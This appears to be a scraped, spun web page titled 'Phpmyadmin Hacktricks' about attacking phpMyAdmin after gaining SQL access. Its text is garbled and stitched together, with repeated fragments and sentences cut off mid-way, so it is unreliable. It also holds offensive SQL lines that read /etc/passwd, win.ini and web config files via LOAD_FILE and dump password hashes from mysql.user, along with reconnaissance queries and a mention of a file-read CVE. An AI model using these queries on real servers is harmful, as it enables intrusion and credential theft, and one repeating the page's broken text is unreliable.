Phpmyadmin Hacktricks ~upd~ Jun 2026

MySQL credentials are often reused for OS users, SSH, or other services.

You have SQL access—now own the server. phpmyadmin hacktricks

: Identifying the specific phpMyAdmin version is critical, as many older versions are vulnerable to public Remote Code Execution (RCE) URL Obfuscation : Securing an instance often involves changing the default /phpmyadmin URL to prevent automated discovery. Exploit-DB 2. Privilege Escalation & Data Exfiltration Arbitrary File Read : Vulnerabilities like CVE-2018-12613 MySQL credentials are often reused for OS users,

SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('C:/windows/win.ini'); SELECT LOAD_FILE('/var/www/html/config.php'); authentication_string FROM mysql.user

SELECT user, authentication_string FROM mysql.user;

Once inside, the attacker checks SELECT @@version , SELECT @@secure_file_priv , and SHOW VARIABLES LIKE 'basedir' .